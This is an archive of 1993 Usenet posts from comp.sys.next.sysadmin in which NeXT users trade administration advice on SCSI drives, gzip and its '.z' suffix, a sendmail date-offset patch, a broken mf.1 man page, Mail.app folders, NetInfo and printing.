From: jmcaulif@husc.harvard.edu (Jon McAuliffe) Newsgroups: comp.sys.next.sysadmin Subject: Re: Powering Down a SCSI device - please mail replies Message-ID: <1993Mar17.214959.21777@husc3.harvard.edu> Date: 18 Mar 93 02:49:57 GMT Article-I.D.: husc3.1993Mar17.214959.21777 References: <1993Mar16.203653.21727@husc3.harvard.edu> Distribution: world In article <1993Mar16.203653.21727@husc3.harvard.edu> writes: > > Hello, > > Suppose I have an external hard drive mounted and I log out. If I then > power down the drive, say, in the evening and power it back up when I log on > the next morning, will anything have gone wrong? How about if I unmount it > before logging out (assuming I don't get "device busy"?) What kinds of bad > things occur in this situation, if any? > > Please reply by mail. > I've gotten the point; thanks for all of the email! General consensus is it's a really bad idea; the main compelling reason is that SCSI errors blow up everywhere because the SCSI bus is not properly terminated (if it's the last SCSI device on the chain), among other reasons. Don't power off the SCSI device without powering off the computer. BTW, I wanted to do it b/c my NeXT is on the network with mail forwarded to it, but it's also in my bedroom, so I wanted to turn off all posible equipment (monitor, printer, external drive) but leave the machine on to receive mail. I've since written a script that turns off forwarding when I power off and starts it up again when I power on. Probably better in the long run. _________________________________________________________________________ Jon McAuliffe jmcaulif@husc.harvard.edu NeXT ex-Campus Consultant 617.493.3004 (voice/fax) Harvard University
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Newsgroups: comp.sys.next.sysadmin Subject: Re: gzip - New Compression Code from GNU Message-ID: <1993Mar18.032602.15187@galileo.cc.rochester.edu> Date: 18 Mar 93 03:26:02 GMT References: <1993Mar17.201724.20850@news.csuohio.edu> <1993Mar17.211531.22062@news.csuohio.edu> Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York In <1993Mar17.211531.22062@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: >In article <1993Mar17.201724.20850@news.csuohio.edu> >cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: >My question is how does one get the gzip executable into the "Services" >> menu so we can double-click on a gzipped file and be able to de-compress >> it properly. That would be a real good thing to do in NeXTSTEP! >my apologies. I said this incorrectly. I am wondering how we can get the >gzip icon into the <Workspace><Tools><Inspector><Tools> area, so we can >use gzip or zcat on any file compressed with the *.z. this would make it >practical to switch to using gzip for everything, if we could still avail >ourselves of its use in NeXTSTEP. >thanks again >Joe Well, right at the moment, I'm writing a quick edit to my Opener.app tables so that double clicking will decompress anything using gzip that has a .z suffix. If you don't have Opener, get it from the archives (sonata.cc.purdue.edu, etc) It's great for opening .zip, .arc, .tar.Z, any combination, almost. You can also program it to decompress any other formats in a very easy to understand way. If there's interest, I'll post my Opener.table file so that you can just put it into your Opener.app directory and uncompress on your merry way... John -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin From: asd@mace.cc.purdue.edu (Doug McClure) Subject: Re: gzip - New Compression Code from GNU Message-ID: <asd.732431411@mace.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University References: <1993Mar17.201724.20850@news.csuohio.edu> <1993Mar17.211531.22062@news.csuohio.edu> <1993Mar18.032602.15187@galileo.cc.rochester.edu> Date: Thu, 18 Mar 1993 05:10:11 GMT jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes: >In <1993Mar17.211531.22062@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: [question on how to get gzip to work from Workspace] >Well, right at the moment, I'm writing a quick edit to my Opener.app tables >so that double clicking will decompress anything using gzip that has a .z >suffix. If you don't have Opener, get it from the archives >(sonata.cc.purdue.edu, etc) It's great for opening .zip, .arc, .tar.Z, any >combination, almost. You can also program it to decompress any other >formats in a very easy to understand way. If there's interest, I'll post my >Opener.table file so that you can just put it into your Opener.app directory >and uncompress on your merry way... This is good. There is also another, even spiffier way to use gzip. Login to root, and move the compress/uncompress binaries to backup files, and then link them to your gzip executable. Now when you do a Compress/Decompress from the Workspace>File menu, it will use gzip. And of course, it will still work with all those old regularly compressed files. **WARNING**: Doing this could cause you some problems in transferring data from your machine to others, especially with NeXT Mail. I'm not sure, but I believe NeXT Mail uses the compress binary, and not it's own version, so you may end up mailing people messages they can't read. For a single user machine though, it sure does make life easier. And a lot smaller. -dsm
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: gzip - New Compression Code from GNU Message-ID: <1993Mar18.075302.3514@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <7074@rosie.NeXT.COM> Date: Thu, 18 Mar 1993 07:53:02 GMT In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes: >Following are excerpts from a recent posting in gnu.announce by >the good folks at the Free Software Foundation. >> Files compressed with this new >> compression program end in `.z' (as opposed to `compress'-compressed >> files, which end in `.Z'). EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed) files. I guess FSF really wants to piss off the System V community! Y'all send them nastygrams NOW. John Todd: don't compound their mistake, please. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: M_Carling@BlueRose.com (M Carling) Subject: Re: NeXTMail problem Message-ID: <1993Mar17.213052.15378@bluerose.com> Sender: m@bluerose.com Organization: Blue Rose Systems, Inc. References: <1993Mar16.165317.13467@Princeton.EDU> Distribution: na Date: Wed, 17 Mar 1993 21:30:52 GMT In article <1993Mar16.165317.13467@Princeton.EDU> gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) writes: > One of our users can't send NeXTmail (i.e., any mail that incudes > formatted text and/or file attachments). Pressing the deliver button > results in the following error message: "Unable to write > attachments." Sounds like a permission problem, or a missing > folder... but I have not yet found the source of this problem. That happens if there is insufficient disk space available e.g. when small disk quotas are imposed. M Carling President, Bay Area NeXT Group
From: madler@cco.caltech.edu (Mark Adler) Newsgroups: comp.sys.next.sysadmin Subject: Re: gzip - New Compression Code from GNU Date: 18 Mar 1993 15:10:02 GMT Organization: California Institute of Technology, Pasadena Message-ID: <1oa3cbINNq75@gap.caltech.edu> References: <1993Mar17.211531.22062@news.csuohio.edu> <1993Mar18.032602.15187@galileo.cc.rochester.edu> <asd.732431411@mace.cc.purdue.edu> >> **WARNING**: Doing this could cause you some problems in transferring Right. You should only do this for uncompress and zcat. Replacing compress with gzip will lead to Mail problems. mark
Newsgroups: comp.sys.next.sysadmin From: brian@gehenna.acm.ndsu.NoDak.edu (Brian R. Glaeske) Subject: Re: gzip - New Compression Code from GNU Sender: usenet@ns1.nodak.edu (Usenet login) Message-ID: <C43D2w.KtD@ns1.nodak.edu> Date: Thu, 18 Mar 1993 15:44:56 GMT References: <7074@rosie.NeXT.COM> <1993Mar18.075302.3514@csus.edu> Organization: University of Southern North Dakota, Hoople In article <1993Mar18.075302.3514@csus.edu> eps@cs.sfsu.edu writes: >In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes: >>Following are excerpts from a recent posting in gnu.announce by >>the good folks at the Free Software Foundation. > >>> Files compressed with this new >>> compression program end in `.z' (as opposed to `compress'-compressed >>> files, which end in `.Z'). > >EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed) >files. I guess FSF really wants to piss off the System V >community! > >Y'all send them nastygrams NOW. For the flame war on this choice of an extension, read gnu.misc.discuss. It is full of comments on this choice. The FSF isn't the last word in software no matter how powerful they are. A perfect example is the "warning" in gcc2.3.3 that you get everytime you use the #import directive. -- Brian Glaeske - /| glaeske@plains.NoDak.edu [NeXT Mail] o.O` --Ooop ACK!! =(___)= U "Bloom County Forever!!"
From: eric@skatter.usask.ca Newsgroups: comp.sys.next.sysadmin Subject: Re: BUG in either "man" or "mf.1" because "man mf" doesn't work Date: 18 Mar 1993 15:42:41 GMT Organization: University of Saskatchewan Message-ID: <1oa59hINN8cu@access.usask.ca> References: <1993Mar16.214745.15035@glv.uucp> If you take a look at /usr/man/man1/mf.1 you will find that it has *already* been run through tbl. So, if all you want is a formatted version, the following command will leave a formatted PostScript file in mf.ps: ptroff -t -man /usr/man/man1/mf.1 >mf.ps -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
Newsgroups: comp.sys.next.sysadmin,comp.mail.elm From: paul@uxc.cso.uiuc.edu (Paul Pomes - UofIllinois CSO) Subject: Re: sendmail 565c+IDA and elm? Date: Thu, 18 Mar 1993 16:52:14 GMT Message-ID: <C43G72.24H@news.cso.uiuc.edu> References: <1o7nt8$1et@steffi.demon.co.uk> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana robert@steffi.demon.co.uk (Robert Nicholson) writes: >Is there a problem when elm PL23 and sendmail 565c+IDA? > >I have recently changed sendmail configurations from 5.52 (NeXT >supplied) to 565c+IDA and everything appears to work except when >I send a message from elm I get sh: XXX memory fault > >Any clues? Either fix your Elm to use correct GMT offsets or apply the following patch from Mike Park <mikep@dragoman.com>. *** 5.11.0.16 1992/08/26 22:06:32 --- arpadate.c 1993/03/10 21:38:23 *************** *** 423,428 **** --- 423,440 ---- #endif /* LOG */ return(NULL); } + + /* + * Some buggy mailers (ie elm 2.4.p13) can produce huge incorrect + * offsets. Applying these offsets can cause the static array + * used by gmtime to be overrun on a NeXT OS3.0 causing sendmail + * to SEGV. + * Limit offsets to be +- 24 hours. + */ + if (h_offset < -24) + h_offset = -24; + if (h_offset > 24) + h_offset = 24; /* is the year a leap year? */ if ((tm.tm_year % 4 == 0) && -- Freedom of hiring, firing, or renting to whoever you want for whatever reason is fundamental. No one is entitled to special protection from the marketplace. --Paul Pomes
Newsgroups: comp.sys.next.sysadmin From: herring@iesd.auc.dk (B. Erickson Herring) Subject: Re: BUG in either "man" or "mf.1" because "man mf" doesn't work In-Reply-To: djd@glv.com's message of Tue, 16 Mar 1993 21:47:45 GMT Message-ID: <HERRING.93Mar18175355@freja.iesd.auc.dk> Sender: news@iesd.auc.dk (UseNet News) Organization: Mathematics and Computer Science, Aalborg University References: <1nndos$e7i@zaphod.mps.ohio-state.edu> <1993Mar16.214745.15035@glv.uucp> Date: 18 Mar 1993 16:53:54 GMT David is: djd@glv.com (David Deininger) Paul is : nevai@mps.ohio-state.edu (Paul Nevai) Paul> Do a "man mf" job. Paul> Your mf.1 will not be processed because "man" can't finish the Paul> job. This is what happens: Paul> Paul> % ops> man mf Paul> Reformatting page. Paul> /usr/man/man1/mf.1: line 124: no specification Paul> tbl quits Paul> Paul> What the heck is going on? The same mf.1 works fine on our SUN Paul> so I guess the NeXT has the problem. Any ideas? Take Paul> care...Paul David> Looks like it's a bug in tbl, rather than a problem with mf.1, David> since tbl.1 doesn't work either. Having reached this David> conclusion, I still don't know what to do about it. :-) David> --david deininger The problem is in the "tbl" code for /usr/man/mf.1 -- if you read the code, the section that reads: A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts is shown below. .ds f. mf.tbl \" tbl output inserted here .TS .if \n+(b.=1 .nr d. \n(.c-\n(c.-1 .de 35 should instead read (something like): A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts is shown below. .ds f. mf.tbl \" tbl output inserted here .TS c s s c c s c c c l n n. .if \n+(b.=1 .nr d. \n(.c-\n(c.-1 .de 35 where c s s c c s c c c l n n. is the "specification" for the layout of the table. Without this specification, "tbl" has no clue about what the table should look like, and it croaks. Take a look at /usr/man/tbl.1 -- the example presented and the code written to actually produce the example don't agree. It is short enough to understand with no real problems. Ignoring the troff directives (.nf, .nr, and the like), the code should read: .TS c s s c c s c c c l n n. Household Population Town \t Households \t Number \t Size Bedminster \t 789 \t 3.26 Bernards Twp. \t 3087 \t 3.74 Bernardsville \t 2018 \t 3.30 Bound Brook \t 3425 \t 3.04 Branchburg \t 1644 \t 3.49 Bridgewater \t 7897 \t 3.81 Far Hills \t 240 \t 3.19 .TE The ' \t ' sequences should be replaced by real tabs. So, what we have here, is a failure to communicate -- the being who authored these manual pages did not quite grok "tbl" syntax. Btw, I ran /usr/man/mf.1 through 'tbl mf.1 | nroff -man > /dev/null' on a Sun running SunOS 4.1.3 (I think...) and it said: [freja] /tmp> tbl mf.1 | nroff -man > /dev/null /tmp/mf.1: line 134: no specification tbl quits A good book on this and other fascinating 1970's-state-of-the-art text processing topics is "Document Formatting & Typesetting on the UNIX System" by Narain Gehani. Erick (who did not proof-read this article, but hopes that it is adequate to the purpose...) P.S. groff -- GNU's (di|v)*troff replacement -- can't handle this, either. -- ----- Erick Herring | Computation is the art of carefully throwing NeXT Salg og Teknik | away information [and] Life is the art of Polyteknisk Data, | carefully throwing away opportunities, an Lyngby, Danmark | interesting coincidental parallel. herring@pd.dth.dk | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Help! I've broken my printer. Message-ID: <1993Mar18.174717.4619@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Mar16.151641.6507@newshost.lanl.gov> Date: Thu, 18 Mar 1993 17:47:17 GMT Dick Phillips (rlp@lanl.gov) wrote: : Folks: : : Recently, while acting as my own sysadmin, I seem to have screwed up the : netinfo printcap entry. I added a couple of non-next printers via the : niload printcap . < /etc/printcap command. Previously, I had edited : /etc/printcap to reflect the new entries. Well, I can print to the new : printers, but I can no longer print to my local 400 dpi NeXT printer. The : console message says "Mar 15 14:11:20 rust lpd[217]: cannot execv /usr/lib/ : NextPrinter/npcomm." : : My first inclination was to reinstall the printer using PrintManager, but : that entry is grayed out. I'd sure appreciate any help here. Thanks, : : Dick Phillips : rlp@lanl.gov Try rebooting your machine now that you have the printcap entry restored. I had one incident where I swapped printers to test a differetnt Next printer. Someone tried to print while it wasn't there, and the printer driver would not do a thing until I rebooted. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Control: cancel <HERRING.93Mar18175355@freja.iesd.auc.dk> Newsgroups: comp.sys.next.sysadmin From: herring@iesd.auc.dk (B. Erickson Herring) Subject: cancel <HERRING.93Mar18175355@freja.iesd.auc.dk> Message-ID: <HERRING.93Mar18185004@freja.iesd.auc.dk> Sender: news@iesd.auc.dk (UseNet News) Organization: Mathematics and Computer Science, Aalborg University Date: 18 Mar 1993 17:50:04 GMT -- ----- Erick Herring | Computation is the art of carefully throwing NeXT Salg og Teknik | away information [and] Life is the art of Polyteknisk Data, | carefully throwing away opportunities, an Lyngby, Danmark | interesting coincidental parallel. herring@pd.dth.dk | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Mail.app Leave My /usr/spool/file alone Message-ID: <1993Mar18.181632.5639@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Mar17.051032.2840@sfu.ca> Date: Thu, 18 Mar 1993 18:16:32 GMT Eric Kolotyluk (eric@cs.sfu.ca) wrote: : reply to: eric@sfu.ca : : It is extemely frustrating to run Mail.app on a network of Suns. : While running Mail.app is a nice way to minimize disk utilization : in the /usr/spool partition, it drives me (an my users) nuts when : you go back to running a `regular' mail program like, mail, elm, : mailtool, etc. : : Is there a way to make/configure Mail.app to leave you mail in : the /usr/spool/file? Not that I know of; BUT you can do this: 1. Tell elm that your folders are in ~/Mailboxes 2. cd ~/Mailboxes 3. For everything except Active.mbox link $name -> Mailboxes/${name}.mbox/$name Now you can read any of your folders with elm or with NextMail. EXCEPT that Active.mbox. This one you shouldn't read with elm, as elm and Mail have different ways of deleteing mail, and you can end up with a corrupted mail box. Rule of thumb to avoid corruption: If you delete in NextMail you must compact the mailbox before modifying it with another mail agent. (Appending stuff is ok, I think, but deleting is not) Now, whenever you do read mail in NextMail, make a point of either deleteing the messages, or putting them in one of the folders. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
From: zmonster@athena.mit.edu (Eric M Hermanson) Newsgroups: comp.sys.next.sysadmin Subject: My Neighborhood Disappeared! Date: 18 Mar 1993 18:30:25 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <1oaf41INNdja@senator-bedfellow.MIT.EDU> You know how when you click the folder of another user, its icon is supposed to be a "neighborhood" of houses? Well on my standalone turbo color station, when I click the home folder of the "me" account or my roomates account, the icon is just the plain manilla folder. However, when I log IN as root or me and click other users home folders, they appear correctly as houses. What could be wrong? The accounts are all local. The icons are wrong only when I log into my personal account. When my roomate logs in to his private account, all other home folders, including the "me" folder appear correctly as houses. Thanks again, Eric
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Netinfo can't change client database Message-ID: <1993Mar18.182614.6074@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Thu, 18 Mar 1993 18:26:14 GMT Recently I had to rebuild one of our standard nexts. No problem. I've done this several times. Takes about two hours. This time however, I've done something different, and I can't find out what. The next is named lucifer. Lucifer, on boot up connects with the / netinfo domain no problem. If I fire up NetInfoManager, I can read the /lucifer domain without a hitch. But if I try to change anything, I get a "Communication Failure" If I walk over to lucifer, no problem. I rlogin lucifer then run NetinfoManger -NXHost whatever, and have no problem. From lucifer, I can modify other domains. What have I missed? -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: herring@iesd.auc.dk (B. Erickson Herring) Subject: Re: BUG in either "man" or "mf.1" because "man mf" doesn't work In-Reply-To: eric@skatter.usask.ca's message of 18 Mar 1993 15:42:41 GMT Message-ID: <HERRING.93Mar18192203@freja.iesd.auc.dk> Sender: news@iesd.auc.dk (UseNet News) Organization: Mathematics and Computer Science, Aalborg University References: <1993Mar16.214745.15035@glv.uucp> <1oa59hINN8cu@access.usask.ca> Date: 18 Mar 1993 18:22:03 GMT Paul is: nevai@mps.ohio-state.edu (Paul Nevai) David is: djd@glv.com (David Deininger) Me is: Me Eric is: eric@skatter.usask.ca (Eric Norum) Paul started: Paul> Do a "man mf" job. Paul> Your mf.1 will not be processed because "man" can't finish the Paul> job. This is what happens: Paul> Paul> % ops> man mf Paul> Reformatting page. Paul> /usr/man/man1/mf.1: line 124: no specification Paul> tbl quits Paul> Paul> What the heck is going on? The same mf.1 works fine on our SUN Paul> so I guess the NeXT has the problem. Any ideas? Take Paul> care...Paul To which David replied: David> Looks like it's a bug in tbl, rather than a problem with mf.1, David> since tbl.1 doesn't work either. Having reached this David> conclusion, I still don't know what to do about it. :-) David> --david deininger I followed up (rather hastily, in an article that I have since cancelled): Me> The problem is in the "tbl" code for /usr/man/mf.1 -- if you read the Me> code, the section that reads: Me> Me> A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts Me> is shown below. Me> .ds f. mf.tbl \" tbl output inserted here Me> .TS Me> .if \n+(b.=1 .nr d. \n(.c-\n(c.-1 Me> .de 35 Me> Me> should instead read (something like): Me> Me> A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts Me> is shown below. Me> .ds f. mf.tbl \" tbl output inserted here Me> .TS Me> c s s Me> c c s Me> c c c Me> l n n. Me> .if \n+(b.=1 .nr d. \n(.c-\n(c.-1 Me> .de 35 Me> Me> where c s s Me> c c s Me> c c c Me> l n n. is the "specification" for the layout of the table. Me> Without this specification, "tbl" has no clue about what the table Me> should look like, and it croaks. Me> Me> Take a look at /usr/man/tbl.1 -- the example presented and the code Me> written to actually produce the example don't agree. It is short Me> enough to understand with no real problems. Me> Me> Ignoring the troff directives (.nf, .nr, and the like), the code Me> should read: Me> Me> .TS Me> c s s Me> c c s Me> c c c Me> l n n. Me> Household Population Me> Town \t Households Me> \t Number \t Size Me> Bedminster \t 789 \t 3.26 Me> Bernards Twp. \t 3087 \t 3.74 Me> Bernardsville \t 2018 \t 3.30 Me> Bound Brook \t 3425 \t 3.04 Me> Branchburg \t 1644 \t 3.49 Me> Bridgewater \t 7897 \t 3.81 Me> Far Hills \t 240 \t 3.19 Me> .TE Me> Me> The ' \t ' sequences should be replaced by real tabs. Me> Me> So, what we have here, is a failure to communicate -- the being who Me> authored these manual pages did not quite grok "tbl" syntax. Btw, I Me> ran /usr/man/mf.1 through 'tbl mf.1 | nroff -man > /dev/null' on a Sun Me> running SunOS 4.1.3 (I think...) and it said: Me> Me> [freja] /tmp> tbl mf.1 | nroff -man > /dev/null Me> Me> /tmp/mf.1: line 134: no specification Me> tbl quits Me> Me> Me> A good book on this and other fascinating 1970's-state-of-the-art text Me> processing topics is "Document Formatting & Typesetting on the UNIX Me> System" by Narain Gehani. Me> Me> Erick (who did not proof-read this article, but hopes that it is Me> adequate to the purpose...) Me> Me> P.S. groff -- GNU's (di|v)*troff replacement -- can't handle this, Me> either. And to which Eric replied (concurrently...): eric> If you take a look at /usr/man/man1/mf.1 you will find that it has eric> *already* been run through tbl. So, if all you want is a formatted eric> version, the following command will leave a formatted PostScript eric> file in mf.ps: eric> eric> % ptroff -t -man /usr/man/man1/mf.1 >mf.ps Eric is correct, in that this command produces the required output, as does '/usr/bin/nroff -man /usr/man/man1/mf.1'. My text, however, is also substantially correct -- the output from the example worked, since troff doesn't care much about redundant directives -- though my diagnosis of the problem was hasty and incorrect. But! These manual pages are still broken, and badly. If I cannot say 'man mf' or 'man -t mf', then there is a problem -- the whole purpose of "man" being to save us from typing '/usr/bin/nroff -man /usr/man/man1/mf.1 | less' If you remove the lines that begin '.TS' and '.TE', hopefully in matching pairs, then everything is peachy -- those are the lines that indicate to "man" that the troff source should be run through "tbl". So, it's a bug, Jim, but not as we know it... Erick (hoping that I won't have to cancel this, as well :-) -- ----- Erick Herring | Computation is the art of carefully throwing NeXT Salg og Teknik | away information [and] Life is the art of Polyteknisk Data, | carefully throwing away opportunities, an Lyngby, Danmark | interesting coincidental parallel. herring@pd.dth.dk | - Guy L. Steele Jr.
From: filibert@vista (Daniel Filiberti) Newsgroups: comp.sys.next.sysadmin Subject: Re: gzip - New Compression Code from GNU Message-ID: <1993Mar18.010035.128@ohsu.edu> Date: 18 Mar 93 01:00:35 GMT Article-I.D.: ohsu.1993Mar18.010035.128 References: <1993Mar17.211531.22062@news.csuohio.edu> Sender: news@ohsu.edu Organization: Oregon Health Sciences University In article <1993Mar17.211531.22062@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: > my apologies. I said this incorrectly. I am wondering how we can get the > gzip icon into the <Workspace><Tools><Inspector><Tools> area, so we can > use gzip or zcat on any file compressed with the *.z. this would make it > practical to switch to using gzip for everything, if we could still avail > ourselves of its use in NeXTSTEP. > > thanks again > Joe Well, I haven't convinced myself to do it yet, but you should easily be able to inform Opener.app about gzip compressed files. Check out the help window, it explains how... Daniel
Newsgroups: comp.sys.next.sysadmin From: bounds@gulaam.glv.com (Frank Bounds) Subject: Slowwww performance... Suggestions for troubleshooting? Message-ID: <1993Mar18.215630.18190@glv.uucp> Keywords: NeXTstation Performance Sender: usenet@glv.uucp Organization: Encompass Date: Thu, 18 Mar 1993 21:56:30 GMT We have a color NeXTstation that seems to have developed a performance problem for no apparent reason. There are no error messages in /usr/adm/messages log. It is a networked machine, the network has not experienced a radical change in bandwidth utililization. There seems to not be any process using an excessive amount of memory or cpu. It has been powered down completely and rebooted. I have looked at about everything I can think of (short of changing hardware). Any suggestions? Has anyone experienced this sort of thing before? Frank Bounds ENCOMPASS bounds@gulaam.glv.com
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Newsgroups: comp.sys.next.sysadmin Subject: Re: gzip - New Compression Code from GNU Message-ID: <1993Mar18.225218.7761@galileo.cc.rochester.edu> Date: 18 Mar 93 22:52:18 GMT References: <7074@rosie.NeXT.COM> <1993Mar18.075302.3514@csus.edu> Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York In <1993Mar18.075302.3514@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: >>> Files compressed with this new >>> compression program end in `.z' (as opposed to `compress'-compressed >>> files, which end in `.Z'). >EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed) >files. I guess FSF really wants to piss off the System V >community! >Y'all send them nastygrams NOW. >John Todd: don't compound their mistake, please. > -=EPS=- Yes, gzip takes this into consideration, with it's ability to unpack "packed" files. However, as far as I understand the manual pages, it does not work the other way around (eg: the "unpack" program or whatever it's called cannot de-compress gzip'ed files.) Big deal. I've never run across a ".z" file in my fairly wide wanderings. Even so, I'd still be able to unpack it with gzip. If one is worried about causing confusion with suffixes, I suggest they add a suffix like ".gzip.z" instead of the plain ".z". I see this format becoming very quickly adopted due to it's large savings in file space, and I think that people will appreciate the inclusion of .z in Opener.app tables. -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.sysadmin Subject: Re: Installing fonts (NS 2.2) Message-ID: <1149@rtbrain.rightbrain.com> Date: 19 Mar 93 00:28:34 GMT References: <1993Mar17.213158.12907@newshub.ccs.yorku.ca> Sender: glenn@rightbrain.com Joel Atkin writes > I've tried to install some fonts but nothing seems to appear in the > Font panel. All the *.font directories are in the ~/Library/Fonts > directory and each *.font directory contains the appropriate font > metrics file and font outline file. Afterwards, I launched the > buildafmdir programme for this directory. Still, nothing is appearing > in the Font panel. > > What am I doing wrong?!? You're not buying fonts from a vendor that supports them and ships them with a Font Installer application :-) We (RightBrain Software) resell the Adobe Type Library for NeXT computers, and we have something like 1500 fonts to choose from. Drop a message to "info@rightbrain.com" for more info. They're guaranteed to install correctly and work without incident, and they're very high-quality Type 1 fonts from the creators of PostScript (and the built-in system fonts on your NeXT), Adobe Systems. -- Glenn Reid NeXTmail: glenn@rightbrain.com RightBrain Software 415-326-2974 (NeXTfax 326-2977) Palo Alto, California Electronic Frontier Foundation, member #054
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) Newsgroups: comp.sys.next.sysadmin Subject: processes Message-ID: <6254@blue.cis.pitt.edu> Date: 19 Mar 93 04:06:07 GMT Sender: news+@pitt.edu In 3.0 when I type ps -aux I see precesses with id -1. Their number seems to grow with time after booting and there are many of them. What are these and how many should there be? Is it normal to have twenty or so? yygold@yadin.phyast.pitt.edu
Newsgroups: comp.sys.next.sysadmin From: michel@unomain.teaser.com Subject: NewsGrazer problem Message-ID: <1993Mar18.155000.9321@unomain.uucp> Sender: michel@unomain.uucp (Michel Gutierrez) Organization: Matra Communication Date: Thu, 18 Mar 1993 15:50:00 GMT Hi, I have a problem using NewsGrazer 72.2. I have two NeXT stations on my network. One is the mail and UUCP server. When I try to post an article from this machine, it works. When I try to post from the other one, an error occurs immediately: Post failed:/Net/unomain/usr/lib/news/inews:tear: not found /tmp/in885hdr: No such file or directory /tmp/in885body: No such file or directory /Net/unomain/usr/lib/news: lost news; cat status 1 /Net/unomain/usr/lib/news/inews: article in /Net/unom1/Users/michel/dead.article Directories /usr/lib/news and /usr/spool/news/ are exported from the server to the other machine. The mailer is working well on both machines. I really don t understant. Anybody has an idea ? Thanks -- ---------------------------------------------------- E-Mail: michel@unomain.teaser.com Phone: (33)1.34.60.87.48 Fax: (33)1.34.60.73.27
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: gzip - New Compression Code from GNU In-Reply-To: eps@futon.SFSU.EDU's message of Thu, 18 Mar 1993 07:53:02 GMT To: eps@futon.SFSU.EDU (Eric P. Scott) Message-ID: <CEDMAN.93Mar18213635@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <7074@rosie.NeXT.COM> <1993Mar18.075302.3514@csus.edu> Date: Fri, 19 Mar 1993 01:36:35 GMT In article <1993Mar18.075302.3514@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes: >Following are excerpts from a recent posting in gnu.announce by >the good folks at the Free Software Foundation. >> Files compressed with this new >> compression program end in `.z' (as opposed to `compress'-compressed >> files, which end in `.Z'). EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed) files. I guess FSF really wants to piss off the System V community! Yes, just one more reason to use it. Help stamp out SysV in our lifetimes ! Carl Edman
